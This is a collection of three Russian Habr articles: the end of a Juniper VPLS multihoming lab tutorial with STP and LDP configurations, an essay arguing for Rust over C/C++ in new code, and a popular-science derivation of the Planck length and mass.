Теперь перейдем к настройке. Сразу отмечу, что мне удалось воссоздать такое поведение только с использованием протокола LDP для VPLS сигнализации ([RFC 4762](https://tools.ietf.org/html/rfc4762)), хотя нигде в официальной документации об этом не написано (поправьте, если ошибаюсь).
##### **Настройка STP**
В отличие от обычных коммутаторов, чтобы настроить STP на маршрутизаторах серии MX, необходимо создать routing-instance с типом layer2-control.
PE1 и PE3
**PE1 & PE3 STP config**
```
routing-instances {
STP {
instance-type layer2-control;
protocols {
vstp {
interface ge-0/0/0 {
mode point-to-point;
no-root-port;
}
vlan 10 {
bridge-priority 24k;
}
}
}
}
}
```
PE2 и PE4
**PE2 & PE4 STP config**
```
routing-instances {
STP {
instance-type layer2-control;
protocols {
vstp {
interface ge-0/0/0 {
mode point-to-point;
no-root-port;
}
vlan 10 {
bridge-priority 28k;
}
}
}
}
}
```
Проверяем работу STP
```
lab@PE1> show spanning-tree interface ge-0/0/0 routing-instance STP
Spanning tree interface parameters for VLAN 10
Interface Port ID Designated Designated Port State Role
port ID bridge ID Cost
ge-0/0/0 128:1 128:1 24586.00058671c3d0 20000 FWD DESG
```
```
lab@PE2> show spanning-tree interface ge-0/0/0 routing-instance STP
Spanning tree interface parameters for VLAN 10
Interface Port ID Designated Designated Port State Role
port ID bridge ID Cost
ge-0/0/0 128:1 128:1 32778.500000080000 20000 BLK ALT (Root-Prev)
```
STP отрабатывает как и должен — порт в сторону CE2 блокируется по root protect.
##### **Настройка VPLS на LDP**
В отличие от BGP, при настройки VPLS с LDP-сигнализацией, необходимо вручную указывать IP-адреса всех PE-маршрутизаторов участвующих в VPLS.
PE1
**PE1 LDP VPLS config**
```
protocols {
ldp {
interface lo0.0;
}
}
routing-instances {
VPLS {
instance-type vpls;
interface ge-0/0/0.10;
protocols {
vpls {
no-tunnel-services;
vpls-id 1;
mac-flush;
neighbor 10.0.0.2;
neighbor 10.0.0.3;
neighbor 10.0.0.4;
}
}
}
}
```
Ключевой параметр здесь — это **mac-flush**. Без него маршрутизаторы не будут сбрасывать таблицу MAC-адресов при изменении топологии.
На PE2, PE3, PE4 настройки абсолютно идентичные за исключением строк neighbor.
Проверяем работу LDP
```
lab@PE1> show ldp neighbor
Address Interface Label space ID Hold time
10.0.0.2 lo0.0 10.0.0.2:0 33
10.0.0.3 lo0.0 10.0.0.3:0 44
10.0.0.4 lo0.0 10.0.0.4:0 41
```
LDP соединения поднялись, смотрим, что с VPLS
```
lab@PE1> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
VPLS-id: 1
Neighbor Type St Time last up # Up trans
10.0.0.2(vpls-id 1) rmt Up May 30 23:50:32 2015 1
Remote PE: 10.0.0.2, Negotiated control-word: No
Incoming label: 262401, Outgoing label: 262401
Negotiated PW status TLV: No
Local interface: lsi.1048580, Status: Up, Encapsulation: ETHERNET
Description: Intf - vpls VPLS neighbor 10.0.0.2 vpls-id 1
Flow Label Transmit: No, Flow Label Receive: No
10.0.0.3(vpls-id 1) rmt Up May 30 23:51:49 2015 1
Remote PE: 10.0.0.3, Negotiated control-word: No
Incoming label: 262402, Outgoing label: 262401
Negotiated PW status TLV: No
Local interface: lsi.1048581, Status: Up, Encapsulation: ETHERNET
Description: Intf - vpls VPLS neighbor 10.0.0.3 vpls-id 1
Flow Label Transmit: No, Flow Label Receive: No
10.0.0.4(vpls-id 1) rmt Up May 30 23:52:00 2015 1
Remote PE: 10.0.0.4, Negotiated control-word: No
Incoming label: 262403, Outgoing label: 262401
Negotiated PW status TLV: No
Local interface: lsi.1048582, Status: Up, Encapsulation: ETHERNET
Description: Intf - vpls VPLS neighbor 10.0.0.4 vpls-id 1
Flow Label Transmit: No, Flow Label Receive: No
```
```
lab@PE2> show vpls connections
Layer-2 VPN connections:
<...>
Instance: VPLS
VPLS-id: 1
Neighbor Type St Time last up # Up trans
10.0.0.1(vpls-id 1) rmt ST
10.0.0.3(vpls-id 1) rmt ST
10.0.0.4(vpls-id 1) rmt ST
```
Тут тоже все в порядке. На PE2 соединения в состоянии standby.
Проверяем что CE3 может пинговать CE2. Трафик при этом должен пройти через PE3, PE1 и CE1.
```
CE3>ping 192.168.10.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 12/14/18 ms
```
Смотрим таблицу MAC-адресов на PE3
```
lab@PE3> show vpls mac-table
MAC flags (S -static MAC, D -dynamic MAC, L -locally learned, C -Control MAC
SE -Statistics enabled, NM -Non configured MAC, R -Remote PE MAC)
Routing instance : VPLS
Bridging domain : __VPLS__, VLAN : NA
MAC MAC Logical NH RTR
address flags interface Index ID
50:00:00:08:80:0a D lsi.1049088
50:00:00:09:80:0a D ge-0/0/0.10
```
Здесь 50:00:00:08:80:0a — MAC-адрес интерфейса Vlan10 на CE2, lsi.1049088 — PW от PE3 до PE1.
Теперь разорвем линк CE1-CE2 и посмотрим, что изменилось
```
lab@PE1> show spanning-tree interface ge-0/0/0 routing-instance STP
Spanning tree interface parameters for VLAN 10
Interface Port ID Designated Designated Port State Role
port ID bridge ID Cost
ge-0/0/0 128:1 128:1 24586.00058671c3d0 20000 FWD DESG
```
```
lab@PE2> show spanning-tree interface ge-0/0/0 routing-instance STP
Spanning tree interface parameters for VLAN 10
Interface Port ID Designated Designated Port State Role
port ID bridge ID Cost
ge-0/0/0 128:1 128:1 28682.0005867142d0 20000 FWD DESG
```
Интерфейс PE2 в сторону CE2 перешел в состояние Forwarding как и должен был.
Снова пингуем PE2
```
CE3>ping 192.168.10.2
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 7/13/19 ms
```
Смотрим таблицу MAC на PE3
```
lab@PE3> show vpls mac-table
MAC flags (S -static MAC, D -dynamic MAC, L -locally learned, C -Control MAC
SE -Statistics enabled, NM -Non configured MAC, R -Remote PE MAC)
Routing instance : VPLS
Bridging domain : __VPLS__, VLAN : NA
MAC MAC Logical NH RTR
address flags interface Index ID
50:00:00:08:80:0a D lsi.1049089
50:00:00:09:80:0a D ge-0/0/0.10
```
Как можно заметить MAC CE2 теперь на интерфейсе lsi.1049089, а это PW до PE2.
Выводы
======
Как видно из статьи, организация VPLS Multihoming — не самая тривиальная задача со своими подводными камнями. Оба описанных мной подхода к решению этой задачи имеют свои преимущества и недостатки и применимы только в определенных ситуациях. К общему недостатку VPLS Multihoming можно отнести невозможность одновременного использования двух аплинков. Если такой функционал необходим, следует смотреть в сторону технологии EVPN, которая постепенно приходит на замену VPLS.
Материалы, использованные при написании статьи
==============================================
1. [Juniper Networks Warrior: A Guide to the Rise of Juniper Networks Implementations by Peter Southwick](http://www.juniper.net/us/en/training/jnbooks/warrior.page)
2. [Implementing Provider-Provisioned VPNs Using Route Reflectors](http://www.shortestpathfirst.net/2009/12/08/implementing-provider-provisioned-vpns-using-route-reflectors/)
3. [MPLS/RSVP configuration & troubleshooting](http://rtoodtoo.net/mpls-rsvp-configuration-troubleshooting/)
4. [VPLS on Junos Signalled via LDP or BGP](https://mellowd.co.uk/ccie/?p=4459)
5. [Advanced VPLS](http://data.proidea.org.pl/plnog/5edycja/materialy/prezentacje/EmilGagala.pdf) | https://habr.com/ru/post/259645/ | null | ru | null |
# Предпочитайте Rust вместо C/C++ для нового кода
2019-02-07
* Когда использовать Rust
* Когда не использовать Rust
* Когда использовать C/C++
* Ложные причины использования C/C++
* Приложение: моя история с C/C++
* Приложение: хор
*Это документ с изложением моей позиции, который я первоначально распространил внутри сообщества разработчиков прошивок в [X.](https://x.company/) Я получил запросы на публичную ссылку, поэтому я почистил статью и разместил её в блоге. Это, очевидно, мое личное мнение. Пожалуйста, прочтите все, прежде чем отправлять мне гневные письма.*
**TL;DR:** C/C++ имеет достаточно конструктивных недостатков и альтернативные инструменты разработки уже находятся в достаточно хорошей форме, поэтому я не рекомендую использовать C/C++ для новых разработок, за исключением особых обстоятельств. В ситуациях, когда вам действительно нужна мощь C/C++, используйте вместо него [Rust](https://rust-lang.org/). В других ситуациях вам все равно не следовало бы использовать C/C++ — используйте что-нибудь другое.
Когда использовать Rust
-----------------------
Такие приложения, как критически важные для безопасности прошивки, ядра операционных систем, криптография, стеки сетевых протоколов и мультимедийные декодеры (в течение последних 30 лет или около этого) в основном были написаны на C и C++. Это *именно* те области, в которых мы не можем позволить себе быть пронизанными потенциально эксплуатируемыми уязвимостями, такими как переполнения буфера (buffer overflows), некорректные указатели (dangling pointers), гонки (race conditions), целочисленные переполнения (integer overflows) и тому подобное.
Не заблуждайтесь: мы относимся к подобным ошибкам так, как если бы они были издержками ведения бизнеса в области программного обеспечения, хотя на самом деле они *особенно порождены недостатками дизайна в семействе языков C*. Программы, написанные на других языках, просто *не содержат* некоторые или все эти ошибки.
В данных прикладных областях мы использовали C/C++, а не другой язык, прежде всего по следующим причинам:
* Мы можем точно контролировать использование памяти и ее выделение.
* Мы можем получить доступ к машинным возможностям с помощью встроенных функций или встроенного ассемблера.
* Нам нужна очень высокая производительность, близкая к теоретическому максимуму машины.
* Нам нужно работать без среды выполнения или возможно, без операционной системы.
Rust отвечает всем этим критериям, но также устраняет возможность [выстрелить себе в ногу](https://en.wiktionary.org/wiki/footgun). Он может устранить большинство ошибок безопасности, сбоев и параллелизма, встречающихся в программном обеспечении на основе Cи.
(Если вам *не нужны* все эти критерии… тогда, смотрите следующий раздел.)
Я внимательно слежу за Rust с 2013 года и язык значительно повзрослел. По состоянию на конец 2018 года^[1](http://cliffle.com/blog/prefer-rust/#whynow)^ я думаю, что он достаточно зрелый, чтобы начать рассматривать его как вариант, если ваша организация спокойно относится к генерации не оптимального кода. Я был одним из первых пользователей C++11 в 2011 году, и мой текущий опыт работы с Rust *лучше*, чем опыт с C++11 GCC в то время. Что о чем-то говорит.
Почему 2018? Потому что теперь можно заниматься разработкой под "голое железо" и для встраиваемых систем (например, модификацией ядра), не полагаясь на нестабильные функции из ночной сборки набора инструментов Rust (nightly Rust toolchain). К тому же изменения в [редакции 2018](https://doc.rust-lang.org/edition-guide/rust-2018/index.html) являются превосходными.
Я поддерживаю свои слова собственными действиями. Вместо того, чтобы просто говорить, я портирую [свой высокопроизводительный встроенный и графический демонстрационный код](https://github.com/cbiffle/m4vga-rs/) с C++ на Rust. Это код для режима реального времени, в котором важны отдельные циклы ЦПУ, где у нас нет достаточного количества оперативной памяти для выполнения текущей задачи и мы нагружаем оборудование до предела. Версия кода на Rust более надежна, *часто быстрее* и *всегда короче*.
Когда *не* использовать Rust
----------------------------
Rust выделяется там, где исторически господствовал C/C++, но в результате Rust требует от вас, чтобы вы думали о некоторых вещах, что и в C/C++. В частности, вы потратите время на рассмотрение стратегий выделения памяти. Для большинства приложений в 2019 году это напрасная трата усилий; просто сбросьте эту проблему на сборщик мусора и закончите на этом. Если вам не нужен точный контроль со стороны Rust над локальностью памяти и определенностью, у вас есть *множество других вариантов*.
Конкретный пример: если бы меня попросили написать вычислитель символьной алгебры (symbolic algebra evaluator), или параллельную постоянную структуру данных (concurrent persistent data structure) или что-нибудь еще, что выполняет тяжелые манипуляции с графами, то я, вероятно, обращусь к чему-то что имеет трассирующий сборщик мусора — например, что-то другое, но не Rust. Но это *не будет C++*, где мне пришлось бы работать так же усердно, как в Rust, но с меньшими затратами. Я бы лично подтолкнул вас к Swift^[2](http://cliffle.com/blog/prefer-rust/#swift)^, но Go, Typescript, Python и даже Kotlin/Java — вполне разумный выбор.
Последний раз, когда я проверял, Swift не имел трассирующего сборщика мусора, но его автоматическое управление памятью достаточно умное, так что вы *почти всегда* можете притвориться, что он есть.
Когда использовать C/C++
------------------------
Вот несколько веских причин, по которым вы все равно можете выбрать C/C++:
* Вы уверены, что ваш код никогда не подвергнется атакам, не подвержен атакам повреждения данных или на него кто-то полагается. Типа, взлом прототипа на Arduino. Тогда вперед.
* У вас есть нормативные или договорные требования для использования определенного языка. Хотя в этом случае вы, вероятно, выберете Ada, которая в первую очередь значительно менее подвержена ошибкам, чем C.
* Ваша целевая платформа не поддерживается в Rust. Поскольку [Rust поддерживает почти все, что связано с бэкэндом LLVM](https://forge.rust-lang.org/platform-support.html), включая множество платформ, которые не поддерживаются в GCC. Это довольно короткий список, но в настоящее время он включает, не поддерживаемые 68HC11 и 68000. (Rust поддерживается на MSP430, Cortex-M и т.д., поддержка AVR в процессе стабилизации). И если вы на телефоне, десктопе или сервере, который вы сами поддерживаете. Даже на мейнфрейме IBM System 390.
* Вы ожидаете, что ваш компилятор/набор инструментов (toolchain) будет сопровождаться соглашением о коммерческой поддержке. Я не знаю, чтобы кто-нибудь предлагал такое для набора инструментов Rust. Я также не знаю, чтобы кто-нибудь предлагал его сейчас для GCC, когда был куплен CodeSourcery.
* Вы ожидаете, что ваша система станет достаточно большой, чтобы производительность rustc стала для вас проблемой и вы ожидаете, что это произойдет быстрее, чем rustc смогут улучшить. Rustc компилирует медленнее, чем GCC. [Команда внимательно следит за этим,](https://perf.rust-lang.org/) и ситуация улучшается. Ваш опыт будет во многом зависеть от сложности вашего кода C++; [один из моих проектов](https://github.com/cbiffle/rtiow-rust/) собирается в Rust быстрее, чем в GCC.
* У вас есть большая кодовая база C++, которая экспортирует *только* C++ интерфейс, не является независимым от языка API (например, интерфейс `extern "C"`, каналы (pipes) или RPC). Семантика C++ настолько сложна, что ни один язык не справится с ней должным образом. (Swift, возможно, подходит ближе всего.) Наличие подобной системы у вас в какой-то момент вас "укусит".
Ложные причины использовать C/C++
---------------------------------
Вот несколько причин, которые как я считаю, ведут людей по ложному пути.
### У C/C++ есть 30+ лет работы над компилятором, поэтому они будут быстрее/надежнее.
В основном я слышу это от людей, которые не работали над компиляторами. Это заблуждение.
Компиляторы C и C++ значительно улучшились за последние несколько десятилетий не потому, что мы постепенно разработали специальное понимание компиляции языка C, который был разработан, чтобы быть простым для компиляции, а потому, что *мы стали лучше писать компиляторы*.
Rust использует те же бэкэнд компилятора, оптимизаторы и генераторы кода, что и Swift и C++ (Clang). В большинстве случаев код работает так же быстро или быстрее, как *сегодня* скомпилированный C/C++.
### Но у меня есть команда хорошо обученных программистов C/C++, у которых нет времени на изучение нового языка.
… у меня для вас плохие новости. Ваши C/C++ программисты, вероятно, не так хорошо обучены, как вы думаете. Я работаю в месте, где все имеют очень твердое мнение о C++, которое они не хотят менять, работаю вместе с одними из лучших программистов на планете. И тем не менее, при проверке кода я все еще *регулярно* ловлю их на допущенных ошибках или коде [полагающимся на неопределенное поведение](https://bugs.chromium.org/p/nativeclient/issues/detail?id=245) (UB). Ошибки, которые они не допустили бы в Rust.
Список людей, которые умеют правильно писать C/C++ код в стесненных обстоятельствах, а затем поддерживать его правильность в обслуживании, является *очень коротким*. Вы можете прикладывать *постоянные* усилия в инструменты статического анализа, в анализ кода и в обучение людей, либо вы можете вложить усилия в обучение людей новому языку *сегодня* и ре инвестировать эти постоянные усилия куда то еще.
### Но я пробовал использовать Rust и у меня ничего не получилось, поэтому это игрушечный язык.
Для C программистов, *смысл* в том, что они пытаются сделать сначала [назойливый двусвязный список](http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=99FD5852BD7E80DD0CB20F2F003CC1E7?doi=10.1.1.72.6146&rep=rep1&type=pdf), который бывает невозможно выразить в *безопасном* Rust (но мы над этим работаем). Это достаточно распространенная жалоба, поэтому существует целый учебник, относящийся к ней, [Learning Rust With Allly Too Many Linked Lists](https://rust-unofficial.github.io/too-many-lists/).
Его также [очень сложно сделать правильно в C/C++](https://www.codeofhonor.com/blog/avoiding-game-crashes-related-to-linked-lists) и я могу практически гарантировать, что вы написали такой один, но он просто не корректен для многопоточной / SMP среды. Вот *почему* его также трудно выразить в Rust.
Некоторые вещи трудны в одних языках и легче в других; например, в C++ мне очень сложно реализовывать новый виртуальный интерфейс в существующем классе, который я не контролирую, тогда как в Rust это тривиально. Это не делает любой язык игрушкой — это просто означает, что мы будем использовать разные решения для каждого языка.
Приложение: моя история с C/C++
-------------------------------
Я не тот парень, который пробовал C++ и думал, что это сложно. Я прошел долгий путь, чтобы прийти к этому.
Я использую Cи примерно с 1993 года, а C++ с 2002 года, оба более или менее постоянно. Я использовал их в разных окружениях, включая продакшн в Google, Qt, Chrome, графические демонстрационки, ядра ОС и встроенные микросхемы управления батареями. При создании микропрограммной компании [Loon](https://loon.com/), я *твердо* выступал за C++ (версии С99); мы быстро перешли на C++11 (в 2011 году), и *черт возьми, это окупилось*. Позже я вложил много энергии в то, чтобы убедить другие команды в X использовать C++, а не Cи для их прошивок.
Когда Loon не смог найти работающий на "голом железе" C++ код `crt0.o` для тогда еще новых процессоров Cortex-M, я написал его; они все еще работают на нем. Я написал [замену стандартной библиотеки C++](https://github.com/cbiffle/etl/), которая устраняет выделение памяти в куче и добавляет некоторые Rust-о подобные возможности. Я знаю стандарт C++ не обычно хорошо… или, по крайней мере, я его *изучил*. Я "заржавел" в прошлом году или года два назад (каламбур).
Кратко: вы можете ожидать, что моя частота ошибок на строки кода будет довольно низкой по отраслевым стандартам, и тем не менее *я все еще допускаю ошибки в C++ чаще, чем могу с этим смириться*. Мой разрыв с C++ был медленным и болезненным, но мне наконец приятно поговорить об этом.
Приложение: хор
---------------
Хор в который я собираю примеры умных людей согласных со мной. :-)
Крис Палмер (Chris Palmer): [State of Software Security 2019](https://noncombatant.org/2019/01/06/state-of-security-2019/): (выделено мной)
> C++ продолжает быть неприемлемо сложным и крайне опасным… Я не могу выбрать и связать список бесконечных отчетов об ошибках, коренные причины которых связаны с небезопасностью использования памяти… В частности, **никто не должен начинать новый проект на C++**.
Эссе Алекса Гейнора (Alex Gaynor) [The Internet Has a Huge C/C++ Problem and Developers Don't Want to Deal With It](https://motherboard.vice.com/en_us/article/a3mgxb/the-internet-has-a-huge-cc-problem-and-developers-dont-want-to-deal-with-it) (в Vice, во всех местах):
> Небезопасное использование памяти в настоящее время является бедствием в нашей отрасли. Но не обязательно, чтобы каждый выпуск Windows или Firefox исправлял десятки устранимых уязвимостей. Нам нужно перестать рассматривать каждую уязвимость, связанную с безопасностью памяти, как отдельный инцидент и вместо этого рассматривать их как глубоко укоренившуюся системную проблему, которой они и являются. И затем нам нужно инвестировать усилия в инженерные исследования, чтобы понять, как мы можем создать более совершенные инструменты для решения этой проблемы.
(У него также есть [отличные статьи в блоге](https://alexgaynor.net/2019/apr/21/modern-c++-wont-save-us/) по этой теме.)
Manish Goregaokar из Mozilla, [пишет в ycombinator](https://news.ycombinator.com/item?id=15350282) что fuzzing тестирование частей Rust кода в Firefox не выявило ошибок безопасности, но помогло найти ошибки в C++ коде, который он заменил:
>
> > К счастью, ни одна из тех ошибок не могла быть преобразована в эксплойт. В каждом случае различные проверки времени выполнения Rust успешно выявляли проблему и превращали ее в управляемую панику.
>
> Это было более или менее нашим опытом с fuzzing кода Rust в firefox, ух… Фаззинг обнаружил множество паник (и отладочных ассертов / ассертов о «безопасном» переполнении). В одном из случаев он действительно обнаружил ошибку, которая не была замечена в аналогичном коде Gecko около десяти лет.
>
> Copyright 2011-2019 Cliff L. Biffle — [Contact](http://cliffle.com/contact/)
>
> | https://habr.com/ru/post/520098/ | null | ru | null |
# Планковские единицы: существует ли фундаментальный предел пространства и времени?
[](https://habr.com/ru/company/ruvds/blog/648443/)
По поводу планковского масштаба в научно-популярных материалах творится большая путаница. Здесь сказывается основная проблема поп-физики: гуляя от дилетанта к дилетанту, суть вопроса деградирует с каждой итерацией. Выглядит это примерно так:
* Учёный в интервью оговаривается, что «длина Планка — это минимальное значимое расстояние», что является сильным упрощением.
* Журналисты и популисты передают фразу дальше, пока она не деформируется в «длина Планка — это как размер пикселя для Вселенной», что неверно.
* Учёные замечают ошибку и начинают поправлять, чтобы устранить недоразумение: «Планковская длина не похожа на размер пикселя для Вселенной. Это как раз тот масштаб, где квантовая гравитация становится актуальной». Что, безусловно, правильно, но…
* Научпоп пережёвывает это, пока понятие не трансформируется в «планковская длина никогда не была минимальным расстоянием, это заблуждение. Это просто масштаб, на котором наши нынешние теории разрушаются, и ничто не указывает на то, что мы не можем достичь меньших масштабов». Это звучит разумно, но неверно.
Так что будет полезным разобраться, откуда все-таки следуют эти единицы и, собственно, для чего они задают предел.
За последние 400 лет наука раздвинула границы нашего познания — от мельчайших субатомных частиц до самых больших спиральных галактик. Мы рождаемся с органами чувств, которые позволяют нам исследовать окружающий мир, и хотя наша сенсорика освещает непосредственное окружение, она также накладывает фундаментальные ограничения на восприятие. Зрение предоставляет нам 90% информации, которая обусловлена поглощением и излучением квантов света электронами на внешних оболочках — жалкие полтора электронвольта! Но в мире существует ещё множество процессов, происходящих в разных масштабах энергий и длин.
Современная наука расширила диапазон наших чувств благодаря использованию технологий, позволяющих исследовать все более мелкие структуры, раскрывающие хитросплетения гобелена микрокосма. История показала, что чем глубже мы проникаем, тем больше мы обнаруживаем, но есть ли предел тому, как глубоко мы можем зайти? Существует ли фундаментальный нижний предел размера, который может иметь объект или область пространства? И если да, то можно ли его рассчитать?
▍ Самая слабая сила
-------------------
Попытаемся ответить на кажущийся простым школьный вопрос: что произойдёт, если попытаться сжать два электрона, приближая их все ближе и ближе друг к другу? Как помнится, электроны — это отрицательно заряженные фундаментальные частицы, которые в привычном нам мире обитают [в окрестности массивных ядер](https://habr.com/ru/post/539210/). Заряженные, значит между ними возникает электростатическая сила отталкивания (сила Кулона):
С другой стороны, электроны обладают массой, а следовательно, возникает гравитационная сила притяжения:
>
> **Используемые величины**
>
> ```
> c = 299792458 # m/s скорость света
> ħ = 1.0546e-34 # J*s постоянная Планка
> е = 1.6022e-19 # Kl элементарный заряд
> mₑ = 9.1094e-31 # kg масса электрона
> ε₀ = 8.8542e-12 # F/m электрическая постоянная
> k = 1/(4π*ε₀) # 8.987552e9 # N*m^2/q^2
>
> G = 6.6743e-11 # м³·кг⁻¹·с⁻² гравитационная постоянная
> L_Pl = 1.616e-35 # м длина Планка
> m_Pl = 2.176434e-8 # кг ширина Планка
>
> ```
>
>
>
>
Теперь полезно разобраться, какая из этих двух сил больше. Для этого найдём их отношение:
Первое, что мы замечаем, это то, что величина *r* исчезает. То есть, независимо от расстояния между двумя электронами, отношение двух сил всегда должно быть одинаковым. Вполне ожидаемо, ведь они подчиняются закону обратных квадратов. Во-вторых, пугает разница в сорок два порядка — электростатическая сила больше гравитационной в тредециллион раз! Миллион миллиардов триллионов квадриллионов — кто круче назовет это число получит допуск к бонус-игре, где мы будем оценивать самую большую ошибку физики.
Простой расчёт говорит нам, что гравитационная сила невероятно мала, но ведь ей по силам собирать галактики и разрушать звёзды. Почему кажется, что она имеет бóльшую власть? Здесь следует вспомнить, что большинство атомов электрически нейтральны, то есть положительные заряды протонов компенсируются отрицательно заряженными электронами. Гравитация, насколько мы можем судить, отличается. Ее действие имеет некомпенсируемый аттрактивный характер, заставляющий стягиваться вещество с больших масштабов.
▍ Всё ближе
-----------
Наш анализ предполагает, что соотношение двух рассматриваемых сил не зависит от расстояния между электронами, но, как это часто бывает в фундаментальной физике, все не так просто, как кажется на первый взгляд. Например, [принцип неопределённости Гейзенберга](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%BD%D0%B5%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%91%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8) говорит, что по мере взаимного приближения рассматриваемых нами электронов, начинают действовать законы квантовой механики.
На некоммутирующие операторы накладывается ограничение:
В конкретно этом случае имеется в виду, что нельзя с хорошей точностью одновременно определить импульс и положение частицы. Если вы представляли себе наши электроны как волновые пакеты или солитоны, то по мере приближения должна начать проявляться волновая природа: интерференция и вспучивание фронтов. Если же удобней оперировать точечными частицами, то при приближении электроны в вашем воображении претерпевают этакие дрожащие движения. Или же просто присмотримся к формуле выше и заметим, что по мере уменьшения расстояния увеличивается импульс системы. Сразу должны вспомниться закономерности для волн де Бройля.
Окей, у нас есть странное колебательное движение, а оно, в свою очередь, увеличивает энергию двух электронов, и как показал Эйнштейн, энергия может быть преобразована в массу и наоборот:
Итак, в какой-то момент квантово-механическая энергия становится сравнимой с энергией массы, необходимой для создания нового электрона. Определим, на каком расстоянии это произойдёт. Для этого домножим соотношение неопределённости на скорость света:
Если подставить значения констант, то получим число порядка 10 в минус 13 метра, что меньше, чем типичный атом водорода (минус десятая степень), но больше типичного ядра (порядка 10 в минус 15 метров). Так что, преодолев предел в миллиардную долю миллиметра, мы достигаем масштаба, где энергия, порождаемая квантовомеханической неопределённостью, становится сопоставимой с энергией-массой целого электрона. При дальнейшем сближении электронов нужно учитывать увеличение массы системы, а значит, соотношение силы Кулона и гравитации будет меняться.
Гравитационная сила увеличивается и значит, в конце концов, она станет сопоставима с электростатической:
Теперь можно выразить массу, при которой это произойдёт и подставить в выражение для расстояния между электронами полученного из принципа неопределённости:
На масштабах порядка одной десятидециллионной доли метра самая слабая сила сопоставима с электростатикой. В форме строгого равенства это выражение называется [комптоновской длиной волны](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%D1%82%D0%BE%D0%BD%D0%BE%D0%B2%D1%81%D0%BA%D0%B0%D1%8F_%D0%B4%D0%BB%D0%B8%D0%BD%D0%B0_%D0%B2%D0%BE%D0%BB%D0%BD%D1%8B). Но мы ведь можем двигаться дальше? Попробуем, но придётся провести небольшой экскурс в физику массивных плотных объектов.
▍ Чёрные дыры
-------------
Рассмотрим небольшую массу, расположенную на поверхности массивного сферического тела. Очевидно, между этими двумя массами существует гравитационная сила притяжения, и поэтому, чтобы оторвать маленькую массу от поверхности, нужно будет совершить некоторую работу:
А теперь хотелось бы не просто приподнять этот шарик, а унести его в неведанные дали (туда, где гравитация не достанет):
Если мы подкинем с поверхности массивного тела некую малую массу, то ее кинетическая энергия уйдёт на борьбу с гравитационным потенциалом. Таким образом, мы можем определить минимальную скорость, необходимую телу для освобождения из гравитационного колодца:
Это скорость убегания (или вторая космическая). Для Юпитера она равна примерно 60 км/с, для Луны — 2 км/с, а для Земли — поспрашивайте первых попавшихся на глаза школьников и оцените в целом заинтересованность молодёжи в вопросах космоса.
Из уравнения видно, что скорость убегания зависит от двух факторов: массы и радиуса покидаемого тела. Можно сделать вывод, что чем плотнее объект, тем большую скорость нужно достигнуть, чтоб его покинуть. Тут естественно спросить, что произойдёт, если объект будет настолько плотным, что скорость убегания с его поверхности достигнет скорости света? В таком случае даже свет не сможет покинуть это массивное тело, и поэтому оно будет казаться чёрным. Объект высокой плотности, из которого не может выйти даже свет, называется [черной дырой](https://habr.com/ru/post/573666/).
Здесь получено выражение, оценивающее критический радиус (радиус Шварцшильда) для массивного тела, при котором оно становится чёрной дырой. Так какое отношение это имеет к сжатию двух электронов? Если вы помните, по мере того как мы сжимаем два электрона всё ближе и ближе друг к другу, масса нашей системы увеличивается из-за принципа неопределённости и специальной теории относительности, так что, понятно, к чему дело идет. Если мы будем продолжать сжимать электроны во всё меньший и меньший объём пространства и при этом увеличивать количество содержащейся массы, то мы непременно создадим там чёрную дыру.
▍ Собираем всё вместе
---------------------
Осталось объединить все предыдущие результаты: комбинация квантовой механики со специальной теорией относительности позволяет оценить, сколько гравитационной массы содержится в электронной системе, а масса связана с радиусом Шварцшильда:
Другими словами, если мы втиснем наши два электрона в объём пространства, примерно равный ста миллиардным иоктометра, то образуется чёрная дыра, так что мы оказываемся в ситуации, когда пытаемся выяснить, что происходит внутри этой области пространства при всё более высоких энергиях.
С иллюстрацией будет понятней:
>
> **Код**
>
> ```
> m = sqrt(k*е^2 / G)
> M = (8:0.01:16) * m
> λ_c = ħ ./ (M*c)
> R_s = G*M / c^2
> plot( M/m_Pl, λ_c/L_Pl, lab = "λ_c", line = 4, yaxis = "r")
> plot!(M/m_Pl, R_s/L_Pl, lab = "R_S", line = 4, xaxis = "m")
>
> ```
>
>
>
>
 *Встреча двух миров (оси в планковских единицах)*
Мы стремимся ко всё меньшим масштабам длины, но попадаем в мир всё больших энергий — с уменьшением комптоновской длины волны, растёт масса системы (попытайтесь прикинуть, сколько электронов мы уже можем создать). Масса растёт, и с ней расширяется радиус Шварцшильда, пока чёрная дыра не поглотит всё то, что мы так старательно пытались рассмотреть.
Можно было бы и дальше пытаться добавлять в систему энергию, что только усугубит ситуацию: рост чёрной дыры ускорится. Значит не существует оперативного способа исследования природы на расстояниях меньше этой длины, которая известна как длина Планка и представляет собой фундаментальный нижний предел наших знаний о пространстве и масштабах расстояний, на которых мы можем осмысленно исследовать природу, и интересно отметить, что это ограничение в наших знаниях проявляется на масштабах длины, где квантовая механика, относительность и гравитация становятся одинаково важными. И пока мы ещё не устали, можно также рассчитать, сколько массы должно быть втиснуто в этот мизерный объём, чтобы образовалась чёрная дыра:
Эта масса называется массой Планка и имеет значение примерно 22 микрограмма, что примерно равно массе блошиного яйца, так что довольно увлекательно размышлять о том, что фундаментальный предел самого пространства проявляется при сжатии блошиного яйца в пространство порядка 10 в минус 35 метров, что приводит к образованию чёрной дыры. Кто бы мог подумать!
*~~сферы Блоха~~ яйца блох*
Обратите внимание, что если планковская длина кажется нижней границей всей физики, то планковская масса (или энергия) является границей между различными областями физики, а именно верхней границей массы фундаментальных частиц и нижней границей массы чёрной дыры. Поскольку чёрная дыра, должна испаряться до массы Планка из-за излучения Хокинга, можно ожидать, что она превратится в частицу (частицы), достигнув этого предела.
